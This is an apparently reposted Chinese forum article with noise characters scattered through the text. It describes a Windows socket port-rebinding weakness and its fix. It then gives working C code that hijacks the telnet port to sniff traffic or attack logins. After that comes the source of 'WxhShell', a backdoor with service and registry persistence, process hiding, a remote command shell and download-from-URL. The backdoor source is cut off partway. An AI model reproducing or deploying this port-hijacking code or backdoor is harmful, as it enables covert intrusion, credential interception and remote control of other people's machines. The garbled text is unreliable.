在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
O(VxMO
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tNK^z7Dm `6&`wKz saddr.sin_family = AF_INET;
7\mDBG Y!SE;N& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Iq{o-nq \UQ9MX _ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bqSMDK jm+ V$YBP 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;0IvF#SJ(. Le*`r2 这意味着什么?意味着可以进行如下的攻击:
:<L5sp >Q;
g0\I_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^^%JoQ. ~?gzq~~t 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Hi^35 $=/rGpAk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2Kjrw; C
8N%X2R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
xcst<= # Mu<8`T- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wfE^Sb3 AcKU^T+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
B`i$Wt<7 j !`B'{cH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ymYBm:" 'xIyGDe #include
+p9-
.YM #include
GMl"{Oxo& #include
F%
`zs\ #include
rvwa!YY} DWORD WINAPI ClientThread(LPVOID lpParam);
tAERbiH
int main()
K4:
$= {
=NadAyv WORD wVersionRequested;
9UV9h_.x DWORD ret;
V@[rf<, WSADATA wsaData;
>%u@R3PH] BOOL val;
|d[5l^6 SOCKADDR_IN saddr;
X3<K 1/< SOCKADDR_IN scaddr;
>TY6O.] int err;
PQ$sOK|/ SOCKET s;
{{\ce;hN SOCKET sc;
V4|uas{0I: int caddsize;
,[* ;UR HANDLE mt;
Tg0CE60"
DWORD tid;
96c?3ya wVersionRequested = MAKEWORD( 2, 2 );
X3',vey err = WSAStartup( wVersionRequested, &wsaData );
k2r3dO@q if ( err != 0 ) {
Ird|C[la printf("error!WSAStartup failed!\n");
x:fW~!Xc6 return -1;
:S -";.:" }
1'JD = saddr.sin_family = AF_INET;
<F(><Xw,-4 QTH7grB2v //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:QPf~\w? d$G}iJ8$mp saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,$N#Us(Wa saddr.sin_port = htons(23);
:5b0np! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dEp7{jY1O {
?s2^zT printf("error!socket failed!\n");
T]9m:zX9s return -1;
=^tA_AxVw }
rzUlO5?R= val = TRUE;
6KRO{QK //SO_REUSEADDR选项就是可以实现端口重绑定的
!Ms[eB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@kxel`,$e {
02=ls V!U printf("error!setsockopt failed!\n");
> 'i return -1;
l63hLz }
-1u9t4+` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
h&;t.Gdf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]rN#B-aAr //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
KOhA) !RH.|} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2VoKr) {
@7<uMasfp ret=GetLastError();
[{
~TcT printf("error!bind failed!\n");
\r{W return -1;
~ G6"3" }
3\:y8| listen(s,2);
])}]/Qw while(1)
gckI.[!b {
qfoD caddsize = sizeof(scaddr);
~1L:_Sg* //接受连接请求
.@ F]Pht sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
jE\Sm2G9 if(sc!=INVALID_SOCKET)
O"G >wv {
n$n7-7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]#2Y e7+ if(mt==NULL)
nh>K`+>co {
m P'^%TE printf("Thread Creat Failed!\n");
oXXC@[??}N break;
"vZ!vt#'Y }
{0"YOS`3AX }
\ZU1Jb1c CloseHandle(mt);
W ~f(:: }
u8GMUN closesocket(s);
c%m3}mrb WSACleanup();
@&|l^ 1 return 0;
~{,X3-S_H }
d;mx<i=/ DWORD WINAPI ClientThread(LPVOID lpParam)
&0zT I?c {
::FS/Y]Fg SOCKET ss = (SOCKET)lpParam;
B=8Iu5m SOCKET sc;
9o*,P,j'} unsigned char buf[4096];
D,qu-k[jMI SOCKADDR_IN saddr;
>9e(.6&2XZ long num;
1K,1X(0rL8 DWORD val;
I`KQ|h0% DWORD ret;
L@`ouQ"sa //如果是隐藏端口应用的话,可以在此处加一些判断
} :=Tm]S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'R`tLN saddr.sin_family = AF_INET;
B33$pUk saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$Iv2j">3) saddr.sin_port = htons(23);
I$N8tn+E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]0hrRA` {
r}[7x]sP printf("error!socket failed!\n");
<S?ddp2 return -1;
J]f3CU,<N }
Q'_z<V val = 100;
l2N]a9bq@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H"ZZ.^"5FV {
{pM?5"MMJ ret = GetLastError();
{ZY+L;eg1 return -1;
b&1`NO }
[q !TIq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
34\(7JO {
]Oq[gBL"A ret = GetLastError();
,U(1NK8o return -1;
a7N!B' y }
23~Sjr
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@v}/zS {
R<OI1,..r printf("error!socket connect failed!\n");
4:g R r
closesocket(sc);
=s<( P1|" closesocket(ss);
Yw#2uh return -1;
S)DnPjN{ }
dAy?EO0\7 while(1)
h@a+NE8 {
b0oMs=uBn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fW?o@vlO //如果是嗅探内容的话,可以再此处进行内容分析和记录
lok= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S~|T4q( num = recv(ss,buf,4096,0);
}iuWAFZbGS if(num>0)
>,td(= : send(sc,buf,num,0);
T#>7ub else if(num==0)
W*2U="t break;
AM!G1^c num = recv(sc,buf,4096,0);
6i}iAP|0 if(num>0)
K5lmVF\$P send(ss,buf,num,0);
c"[cNZo else if(num==0)
MdW]MW{ break;
)==Jfn y }
9Q"'"b*?z closesocket(ss);
*c2YRbU( closesocket(sc);
?"g! return 0 ;
x9JD\vZ }
UeRj< \"Q jbAx;Xt'=M pej|!oX ==========================================================
xoN3 1u:<
25 下边附上一个代码,,WXhSHELL
mGK|ihYu }9FSO9*&} ==========================================================
I"ok&^t^} yPal<c #include "stdafx.h"
,LnII Sn|BlXrey #include <stdio.h>
\RG8{G, #include <string.h>
e7sp =I, #include <windows.h>
ax<?GjpM #include <winsock2.h>
R21b!Pd\ #include <winsvc.h>
}n>p4W"OM #include <urlmon.h>
B&n<M]7 A|<jX} #pragma comment (lib, "Ws2_32.lib")
xjKR R? #pragma comment (lib, "urlmon.lib")
ci?qT,& ?M\{&mlF #define MAX_USER 100 // 最大客户端连接数
3v1iy/ / #define BUF_SOCK 200 // sock buffer
9[.8cg* #define KEY_BUFF 255 // 输入 buffer
gMzcTmbc8 ?j"KV_ #define REBOOT 0 // 重启
8; 0A
g #define SHUTDOWN 1 // 关机
+lHjC$ H}hiT/+$ #define DEF_PORT 5000 // 监听端口
,g2ij )-a'{W/t #define REG_LEN 16 // 注册表键长度
,F,X
, #define SVC_LEN 80 // NT服务名长度
+JjW_Rl?=V h4T5+~rw // 从dll定义API
B><d9d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;V *l.gr'2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_./Sk|C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RO 4Z?tz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
X\{LnZ@r4 zh8nc%X{ // wxhshell配置信息
Cv6'`",Yzm struct WSCFG {
l`#4KCL( int ws_port; // 监听端口
S[PE$tYT#t char ws_passstr[REG_LEN]; // 口令
;:\<gVi: int ws_autoins; // 安装标记, 1=yes 0=no
|)(VsVG& char ws_regname[REG_LEN]; // 注册表键名
`d5%.N char ws_svcname[REG_LEN]; // 服务名
l]Ax : Z char ws_svcdisp[SVC_LEN]; // 服务显示名
"_-Po^u=r char ws_svcdesc[SVC_LEN]; // 服务描述信息
$w2u3- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}`%*W`9b int ws_downexe; // 下载执行标记, 1=yes 0=no
_K l_61k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
n<O}hM ZT char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ILEz;D{] =;Rtdy/Yn% };
6dabU* "{@A5A // default Wxhshell configuration
J:CXW%\ <q struct WSCFG wscfg={DEF_PORT,
u0|8Tgf "xuhuanlingzhe",
?!A7rb/tj 1,
z> Rsi "Wxhshell",
<D<4BnZ( "Wxhshell",
ObVGV "WxhShell Service",
e:fy#,HEj{ "Wrsky Windows CmdShell Service",
2Rw&C6("w "Please Input Your Password: ",
JTO~9>$ B 1,
x@P y>f2 "
http://www.wrsky.com/wxhshell.exe",
_x%7@.TB "Wxhshell.exe"
uki#/GzaO };
xjfV?B'Y}V iU$] {c2;A // 消息定义模块
DS+}UO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\F1_lq;K char *msg_ws_prompt="\n\r? for help\n\r#>";
n0r+A^] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JD)(oK%C char *msg_ws_ext="\n\rExit.";
IUE~_7 char *msg_ws_end="\n\rQuit.";
@$S+ Ne[< char *msg_ws_boot="\n\rReboot...";
zM bN;tu char *msg_ws_poff="\n\rShutdown...";
F,W~,y char *msg_ws_down="\n\rSave to ";
QdT}wkX ZZ2vvtlyG char *msg_ws_err="\n\rErr!";
ciBP7>':: char *msg_ws_ok="\n\rOK!";
sGyeb5c :o0JY= 5 char ExeFile[MAX_PATH];
UK595n;P int nUser = 0;
fkuLj%R HANDLE handles[MAX_USER];
Gw>^[dmt! int OsIsNt;
=
s>T;| e-:yb^ SERVICE_STATUS serviceStatus;
Isvx7$Vu+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
?5C!<3gM) PmkR3<=leg // 函数声明
P\yDa*m int Install(void);
`NCwK6/i int Uninstall(void);
q$I;dOCJ, int DownloadFile(char *sURL, SOCKET wsh);
{G U&a int Boot(int flag);
@Z*W void HideProc(void);
+c(zo4nZ int GetOsVer(void);
:o|\"3 int Wxhshell(SOCKET wsl);
jr)1(** void TalkWithClient(void *cs);
7E!IF>` int CmdShell(SOCKET sock);
S=5<^o^h3 int StartFromService(void);
}#L^! \V} int StartWxhshell(LPSTR lpCmdLine);
7|{}\w(I 61SlVec*o8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n!YKz"$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
kE:nsXI
) QqFR\6 // 数据结构和表定义
#*QO3y~ZM SERVICE_TABLE_ENTRY DispatchTable[] =
}Ga\wV {
\n$u)Xj~6^ {wscfg.ws_svcname, NTServiceMain},
d ^^bke$~ {NULL, NULL}
9{RB{<Se! };
4]yOF_8h Wr<j!>J6Ki // 自我安装
9KDEM gCW int Install(void)
TT2d81I3m {
igkYX!0#8O char svExeFile[MAX_PATH];
5]NqRI^0 HKEY key;
!Y$h"<M strcpy(svExeFile,ExeFile);
O[I\A[* CLRiJ*U // 如果是win9x系统,修改注册表设为自启动
tXoWwQD;Y if(!OsIsNt) {
/j4P9y^]= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G}:w@}h/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3N dq> RegCloseKey(key);
Sm)Ha:[4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
24E}<N,g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
syWG'(> RegCloseKey(key);
Ir
{OheJ return 0;
Xnz3p" }
!j:9`XD| }
$CY~5A `l9 }
OjFLPGRCh else {
-7*ET3NSI/ SO IHePmwK // 如果是NT以上系统,安装为系统服务
W{5#@_pL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
le1}0L if (schSCManager!=0)
[NaN>BZ? {
7Nk!1s: SC_HANDLE schService = CreateService
01}C^iD (
]QpWih00V schSCManager,
8"U. Hnu wscfg.ws_svcname,
wCr(D>iM wscfg.ws_svcdisp,
o<[#0T^K SERVICE_ALL_ACCESS,
b:Wm8pp? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
GO__$%~ SERVICE_AUTO_START,
N"" BCh" SERVICE_ERROR_NORMAL,
o$#G0}yn svExeFile,
=osv3>&q NULL,
+?:7O=Y NULL,
*QwY]j%^ NULL,
}])oM|fgO NULL,
i>D.!x NULL
j7jCm: );
AfX}y+Ah if (schService!=0)
?)kG A$m# {
3on7~*
CloseServiceHandle(schService);
d{SG
Cr 9d CloseServiceHandle(schSCManager);
v3aYc:C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v*r7Zz6l strcat(svExeFile,wscfg.ws_svcname);
HkO7R
` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o=50>$5jlS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!ePr5On RegCloseKey(key);
q=%RDG+ return 0;
'
0J1vG~c }
1DE1.1 }
pi
Z[Y
5OE CloseServiceHandle(schSCManager);
0s/w,? }
7*
yzEM }
.!f$
\1l Q4+gAS9 return 1;
8n'B6hi }
~\Hc,5G 'eLqlu|T // 自我卸载
F
P* lQRA int Uninstall(void)
ZUoxMm
{
` :o4'CG HKEY key;
_H j!2 ' RloK,bg if(!OsIsNt) {
iV&6nh( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[H6hyG~ RegDeleteValue(key,wscfg.ws_regname);
IF44F3(V4 RegCloseKey(key);
v2B0q4*BS? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RxI(:i? RegDeleteValue(key,wscfg.ws_regname);
555XCWyrC RegCloseKey(key);
kQEy#JQmB return 0;
Tk5W'p|6f }
Q36qIq_0e }
gP0LCK> }
%= fHu+ else {
9%B\/&f wVEm:/;z& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
n=y[CKS if (schSCManager!=0)
5@+,Xh,H|t {
"|q qUKJZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J|~MC7#@q if (schService!=0)
CF?1R {
1Cv- if(DeleteService(schService)!=0) {
&e#~<Wm82 CloseServiceHandle(schService);
zi]\<?\X CloseServiceHandle(schSCManager);
@~YYD#'vNY return 0;
23RN}LUi }
0{,Z{&E CloseServiceHandle(schService);
PIdikA }
-"=U?>( CloseServiceHandle(schSCManager);
g^}8:,F_ }
}]lr>"~y} }
@ycDCB(D} *>n;SuT_ return 1;
\=:~ki=@B }
|mGFts}0o' jRJn+ // 从指定url下载文件
?0v-qj+ int DownloadFile(char *sURL, SOCKET wsh)
uRZ ZxZ {
hc>HQrd HRESULT hr;
\s=t|Wpu2 char seps[]= "/";
4KIRHnaj char *token;
eZIhEOF char *file;
E\as@pqo\p char myURL[MAX_PATH];
5|o6v1bM char myFILE[MAX_PATH];
BJM.iXU)[ MvK !u strcpy(myURL,sURL);
/s@o Z{h token=strtok(myURL,seps);
5=v}W:^v. while(token!=NULL)
p i
%<Sy {
A OISs4 file=token;
5ni~Q 9b token=strtok(NULL,seps);
n
`&/D }
Ta(Y:*Ri oSyyd GetCurrentDirectory(MAX_PATH,myFILE);
*h!28Ya(~ strcat(myFILE, "\\");
D~hg$XzK strcat(myFILE, file);
zsX1 QN16 send(wsh,myFILE,strlen(myFILE),0);
2R;}y7{ send(wsh,"...",3,0);
OBOtu u. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
oU056 if(hr==S_OK)
&O9 |#YUq return 0;
kCR_tn
4 else
vk77B(u return 1;
D8Ykg >B;& fVF2-Rh= }
[@J/eWB w80oXXs[# // 系统电源模块
7gj4j^a^]{ int Boot(int flag)
v|uAzM{73 {
K@I
D/]PF HANDLE hToken;
dIN$)?aB0 TOKEN_PRIVILEGES tkp;
DJ'zz&K )wC?T if(OsIsNt) {
Fv~20G(O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,K)_OVB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,\_1w tkp.PrivilegeCount = 1;
kD=WO4} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
* @ 3Ag( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'[AlhBX if(flag==REBOOT) {
R3x3]]D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8(pp2r lR return 0;
9s\A\$("l }
tScPa,( else {
yv t. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$"+djI?E9 return 0;
gG0!C))8 }
IpYM;tYw& }
>_[9t else {
Bt@^+vH ~ if(flag==REBOOT) {
wPQH(~k: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7j@Hs[
* return 0;
4 ezEW|S }
!%CWZZ 6u else {
Gr*r=s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
= bfJ^]R return 0;
]~9tYn }
3@kf@Vf }
arIf'CG6 KaPAa:Q return 1;
azCf }
BF\XEm?! $Q &lSVQ // win9x进程隐藏模块
x-$&g*< void HideProc(void)
6 eLR2 {
-.1y(k^4E z06r6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Si_ _8D if ( hKernel != NULL )
LhA*F[6$M {
}JF13beU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h{%nC>m; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fT;s-v[`k FreeLibrary(hKernel);
8[a=OP }
s3z$e+A8 bGN:=Y' return;
WffQ :L? }
(l\1n;s*B N(;1o.~ // 获取操作系统版本
Njxv4cc int GetOsVer(void)
.CL[_;} {
tI`Q /a5@ OSVERSIONINFO winfo;
x3hB5p$q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W<bGDh GetVersionEx(&winfo);
-)w@f~Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=i$Fl{vH return 1;
B-xGX$<z else
!=pn77`g> return 0;
qU+t/C. }
qB~rQPa ap.K=-H // 客户端句柄模块
IoxgjUa int Wxhshell(SOCKET wsl)
bfFeBBi {
? E1<!~ SOCKET wsh;
3_ r*y9l struct sockaddr_in client;
v_<rNc,z-s DWORD myID;
?iw!OoZ` #H)vK"hF while(nUser<MAX_USER)
@'w"R/,n-@ {
]_Vx{oT7 int nSize=sizeof(client);
Ok|*!!T wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6hw=
if(wsh==INVALID_SOCKET) return 1;
@D.}\( S
^"y4-2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
rx'RSo#1O if(handles[nUser]==0)
[glLre^ closesocket(wsh);
Z
8S\@I else
Cl5uS%g nUser++;
r(6Y*< }
18|m)(W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
QCD.YFM /'Ass(=6 return 0;
Z 6t56"u }
Umz KY yg`j-9[8 // 关闭 socket
-Y1e8H =' void CloseIt(SOCKET wsh)
S{Kiy#ltWc {
c-x,fS"&W closesocket(wsh);
mf
A{3 nUser--;
b[sx_b ExitThread(0);
&Q%zl9g(g }
&x=.$76 LSm$dK // 客户端请求句柄
l\E%+?K+^ void TalkWithClient(void *cs)
zE336 {
4qphA9i1 szb_*)k SOCKET wsh=(SOCKET)cs;
QMA%$ char pwd[SVC_LEN];
&)YQv Tzs char cmd[KEY_BUFF];
GX)u|g char chr[1];
}Q)#[#e int i,j;
'@cANGg7[ &X`C%h while (nUser < MAX_USER) {
2;[D;Y} %OtFHhb if(wscfg.ws_passstr) {
QgrpBG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KLU-DCb% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b}OY4~ Y4 //ZeroMemory(pwd,KEY_BUFF);
K#l:wH_ i=0;
HpR]q05d while(i<SVC_LEN) {
)}''L{k- ZWii)0'PV // 设置超时
b[__1E9v' fd_set FdRead;
NWP5If|'X struct timeval TimeOut;
ZufR{^W FD_ZERO(&FdRead);
]fm'ZY& FD_SET(wsh,&FdRead);
fs|)l$Rd TimeOut.tv_sec=8;
YSs)HV.8 TimeOut.tv_usec=0;
V@\gS"Tu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Okgv!Nt8)A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&*sP/z NnO~dRx{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=31"fS@ pwd
=chr[0]; -Q2, "
if(chr[0]==0xd || chr[0]==0xa) { rjl`&POqc
pwd=0; B*qi_{Gp
break; iy6On,UL
} <3(LWxw
i++; 4)E_0.C
} 1ofKt=|=
"B8Q:
// 如果是非法用户,关闭 socket hrmut*<|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d; [C6d
} 6~OoFm5
<
|e,05aM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~Xr=4V:a+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2C2fGYu
liEPCWl&
while(1) { 8][nmjk0
L%">iQOG#
ZeroMemory(cmd,KEY_BUFF); ?m![Pg%
dCb`xR}
// 自动支持客户端 telnet标准 :s=NUw_^
j=0; g!cUF+
while(j<KEY_BUFF) { |b[+I?X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ko1J094Y%
cmd[j]=chr[0]; 7ByTnYe~S
if(chr[0]==0xa || chr[0]==0xd) { +
r!1<AAE$
cmd[j]=0; 2<li7c59
break; $ oTdfb
} CPgC jtY
j++; _AYXc] 4%
} =b38(\
J~=n`pW
// 下载文件 Cv
}Qwy
if(strstr(cmd,"http://")) { d#6`&MR
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2#o>Z4 r{
if(DownloadFile(cmd,wsh)) pqUCqo!m\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pa#d L!J
else 9F6F~::l}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `{,Dy!rL
} vQ<90ZxqB
else { Ny_lrfh) [
6W@UJx}w5
switch(cmd[0]) { nYWvTvZ
CxGx8*<X
// 帮助 ]'5;|xc9$/
case '?': { ~i@Y|38C
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r~+\
Y"rM
break; A3vUPWdDk
} ~jK{ ,$:=
// 安装 Mmj;'iYOwF
case 'i': { wpN k+;
if(Install()) s?zAP O8Sz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H1I{/g
else >*@y8u*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XEC(P
break; =81@o,1w
} QF-LU
// 卸载 .udv"?!z
case 'r': { 6``'%S'#
if(Uninstall()) *"WDb|PBb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}Np/
else !l_lo`)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D6CS8
~"
break; MepuIh
} eFBeJZuE|
// 显示 wxhshell 所在路径 V~S0hqW[
case 'p': { ]V-W~r=
char svExeFile[MAX_PATH]; \I["2C]3M
strcpy(svExeFile,"\n\r"); cUqke+!
strcat(svExeFile,ExeFile); d cLA1sN,
send(wsh,svExeFile,strlen(svExeFile),0); C|d\3S\(
break; 48jVRo
} 3l[McZ
// 重启 WJNl5^
case 'b': { cZH-"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |l&vkRrN
if(Boot(REBOOT)) 8%%f%y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q?8R[i
else { 6lkl7zm
closesocket(wsh); gzBy?r> r
ExitThread(0); "VkTY|a
} o
}3uo6GIB
break; E Q4KV
} 6An9S%:_
// 关机 v^)bhIPe;
case 'd': { %STliJ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dq36p${\W
if(Boot(SHUTDOWN)) *<E]E?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); psnTFe
else { G P:FSprP
closesocket(wsh); 7M<'ddAN
ExitThread(0); D?C)BcN
} K=C!b?
break; @HRC\OG
} Zm"{V iv]
// 获取shell TMs,j!w?I
case 's': { %VzKqh
CmdShell(wsh); }tH[[4tw,
closesocket(wsh); txZ?=8j_Y
ExitThread(0); R)M_|ca
break; k% sO 0
} t~E<j+<2B
// 退出 7_.11$E=H
case 'x': { Aub]IO~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a 4=N9X
CloseIt(wsh); 6`0mta Q
break; 3' ~gviI
} Mn$]I) $
// 离开 t^xTFn
case 'q': { !@x+q)2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,h{A^[yl
closesocket(wsh); _(d.!qGz
WSACleanup(); P+!"wX0*N
exit(1); |y h\
break; P7 ]z
} 'Q
=7/dY3I
} E,wVe[0)f
} "+z?x~rk
[F_/2+e
// 提示信息 ~%/Wupf
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4\pWB90V
} E]J:~H'Er
} 4EXB;[]
$B#6tk~u
return; l"{Sm6:;-
} FYb34LY
{ F'Kk\f%:
// shell模块句柄 !PMU O\y
int CmdShell(SOCKET sock) T/c<23i
{ (=16PYs
STARTUPINFO si; /w8"=6Vv~
ZeroMemory(&si,sizeof(si)); )-Ej5'iHr
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hKNY+S})g
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6cdMS[_SD(
PROCESS_INFORMATION ProcessInfo; B_ja&) !s1
char cmdline[]="cmd"; ygSL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5tv<8~:K
return 0; \dlph
} 7
uMd
ZpD
dI*'!wK
// 自身启动模式 `p0ypi3hn
int StartFromService(void) <e)o1+[w
{ )9B:wc"
typedef struct b?Pj< tA
{ PF`rWw
DWORD ExitStatus; o<l 2 r
DWORD PebBaseAddress; `W `0Fwu9
